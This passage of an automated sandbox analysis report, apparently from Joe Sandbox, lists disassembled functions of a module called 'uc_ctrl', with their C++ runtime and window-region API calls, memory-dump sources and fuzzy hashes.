Opcode Fuzzy Hash: ac1181ce306cc7cb5eeca9f3c57a30afc723584488e06e98d47bffa16fd480c0
Instruction Fuzzy Hash: 92210A75908104AFCB05DFA8C950BFDBFB4AF28308F15408DE285A7285DBB55F01CB61

Function 6D1C2B30 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2B37

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2B68

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2B7D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C2BBA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2BFD

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: ec5e61fbc3fd57b500645c465b86a7b4332c21c22a8a9d50f116154cb697101c
Instruction ID: b432606ec62e40397ec114f48311b1544977f461517ca4305baf27d5c330bae0
Opcode Fuzzy Hash: ec5e61fbc3fd57b500645c465b86a7b4332c21c22a8a9d50f116154cb697101c
Instruction Fuzzy Hash: AD21C374A04108AFCF02DFE4C984EFEBFB5AF58308F144059E205A3245D7B59A42CB91

Function 6D1A8B90 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8B97
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6D1A8BB5

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6D1A8BD1

Part of subcall function 6D1AA400: __EH_prolog3_GS.LIBCMT ref: 6D1AA407

std::locale::~locale.LIBCPMT ref: 6D1A8BE2
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6D1A8BF4

Part of subcall function 6D19E660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E683
Part of subcall function 6D19E660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6D19E70F
Part of subcall function 6D19E660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E71D
Part of subcall function 6D19E660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19E774

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
String ID:
API String ID: 2351922906-0
Opcode ID: 25d29f56afd1bfbdb746bcc88391b0a9cd6f8499d56af93f57ab311a3145c864
Instruction ID: 60a46a824188ab178a87369d22c36c03aa2c4897629451f984542bf4c9a78716
Opcode Fuzzy Hash: 25d29f56afd1bfbdb746bcc88391b0a9cd6f8499d56af93f57ab311a3145c864
Instruction Fuzzy Hash: FD214D75905209EFCB04DF90E980AEEB7B8FF08314F154556F915E7288EBB4AA04CFA1

Function 6D1B0BD0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B0BD7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6D1B0BF5

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6D1B0C11

Part of subcall function 6D1B5CD0: __EH_prolog3_GS.LIBCMT ref: 6D1B5CDA

std::locale::~locale.LIBCPMT ref: 6D1B0C22
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6D1B0C34

Part of subcall function 6D19E660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E683
Part of subcall function 6D19E660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6D19E70F
Part of subcall function 6D19E660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E71D
Part of subcall function 6D19E660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19E774

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
String ID:
API String ID: 554882773-0
Opcode ID: 98b550773b6af43f8f1c429a4caea06e08fa16fd210eb87e599b7dda424b869a
Instruction ID: baa562ecb091e6a28a66dedbfd1b1686b27abce42b55ea742d7ab914f243c31d
Opcode Fuzzy Hash: 98b550773b6af43f8f1c429a4caea06e08fa16fd210eb87e599b7dda424b869a
Instruction Fuzzy Hash: BD214A75904209EFCB14DF90E980AEEB7B8FF08314F154166F915E7284EBB4AA04CBA1

Function 6D1C0BE0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0BE7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0C17

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0C2D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0C5C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0CA9

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 756a134e4bb032a93b8ed2d2a7edaa7451e603439cf94ccec25be77564058550
Instruction ID: 199976ca68e694d2bce35f5f9581784e64d9d98e0e2bf18560da4322454ebc65
Opcode Fuzzy Hash: 756a134e4bb032a93b8ed2d2a7edaa7451e603439cf94ccec25be77564058550
Instruction Fuzzy Hash: BE210675A04104AFCB05DFA8D950BFDBBF4AF68308F15408DE245AB285CBB55A05CB65

Function 6D1C2A40 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2A47

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2A78

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2A8D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C2ACA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2B0D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: fade465adcc1d6564017aee33e77cd474c81070b1f4caf8e3e147b1ea8df0e85
Instruction ID: ff5b3def067f5e8e822e5768e7966f3dab04eed032f7c2f0353960a4b6392675
Opcode Fuzzy Hash: fade465adcc1d6564017aee33e77cd474c81070b1f4caf8e3e147b1ea8df0e85
Instruction Fuzzy Hash: 4821A174A04248AFCF02DFE4C884EEEBFB5AF58308F184059E205A3245D7B59A45DB91

Function 6D1C6270 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6277

Part of subcall function 6D1BFE8C: __EH_prolog3.LIBCMT ref: 6D1BFE93
Part of subcall function 6D1BFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C4999,?,00000001,00000008), ref: 6D1BFEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C62A8

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9550: __EH_prolog3.LIBCMT ref: 6D1B9557
Part of subcall function 6D1B9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE5C0,?,?,00000000), ref: 6D1B9562
Part of subcall function 6D1B9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1B957A
Part of subcall function 6D1B9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1B95DE

std::locale::~locale.LIBCPMT ref: 6D1C62BD
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAA_N@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C62FA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C633D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 350562734-0
Opcode ID: 42cc3a3c4885168c9cf02298522eea39b231c82989bc47ff9c00b1b092d53959
Instruction ID: 2a8f31ce50f0f73b29b8d5f58fc7aa724fb7a88fe90cd3fd4faf14ab77bba292
Opcode Fuzzy Hash: 42cc3a3c4885168c9cf02298522eea39b231c82989bc47ff9c00b1b092d53959
Instruction Fuzzy Hash: 4C21C034A04148EFCF01DFE8C890EFEBFB5AF58308F184059E209A7242DBB55A51CBA5

Function 6CF3EE0E Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF3EE15
GetWindowRect.USER32(00000000,00000000), ref: 6CF3EE62
CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 6CF3EE8C
SetWindowRgn.USER32(00000000,?,00000000), ref: 6CF3EEA2
SetWindowRgn.USER32(00000000,00000000,00000000), ref: 6CF3EEBA

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$Rect$CreateH_prolog3_Round
String ID:
API String ID: 2502471913-0
Opcode ID: d5d088e5d3ed901c9a6fb5ba992df9b170c5ecaa17b1a62e4c1b4f73fc44f021
Instruction ID: d9de858851112c96f20491b5a56e480a438d7ed24099e6db4ff4d1ad3f6d94e9
Opcode Fuzzy Hash: d5d088e5d3ed901c9a6fb5ba992df9b170c5ecaa17b1a62e4c1b4f73fc44f021
Instruction Fuzzy Hash: 27214AB5A0121AAFEF05CFA4C984AEEBB75FF08308F11102DE91563690CB305D41CFA5

Function 6D1C6F10 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6F17

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6F47

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AB058: __EH_prolog3.LIBCMT ref: 6D1AB05F
Part of subcall function 6D1AB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A800B,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AB06A
Part of subcall function 6D1AB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AB082
Part of subcall function 6D1AB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB0E6

std::locale::~locale.LIBCPMT ref: 6D1C6F5D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6D1C6F8E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6FDB

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 591c82caa6863d6440f435914d068d5f89e7aa4688a615c2c29f105aa762d953
Instruction ID: 4ba33f63811862d3344c2b781b259406636f4bf35657bccbe87741e4d217ccaf
Opcode Fuzzy Hash: 591c82caa6863d6440f435914d068d5f89e7aa4688a615c2c29f105aa762d953
Instruction Fuzzy Hash: FA219075D04258AFCF01DFA8C850BFDBFB0AF19308F19408DE645AB286C7B55A45DBA1

Function 6D1C8D30 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8D37

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8D67

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8D7C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8DB4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8DF7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 2fc725510c565e2f928e64f6dd20d676a2b8af442a92226fc87560e452f5a4a9
Instruction ID: c26e82f595e0717b92a471a6569abab6fa1fed91608028fd1bb944d48e60416b
Opcode Fuzzy Hash: 2fc725510c565e2f928e64f6dd20d676a2b8af442a92226fc87560e452f5a4a9
Instruction Fuzzy Hash: 45216D74A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE105A7246D7B59A45CBA2

Function 6D1C8520 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8527

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8557

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C856C
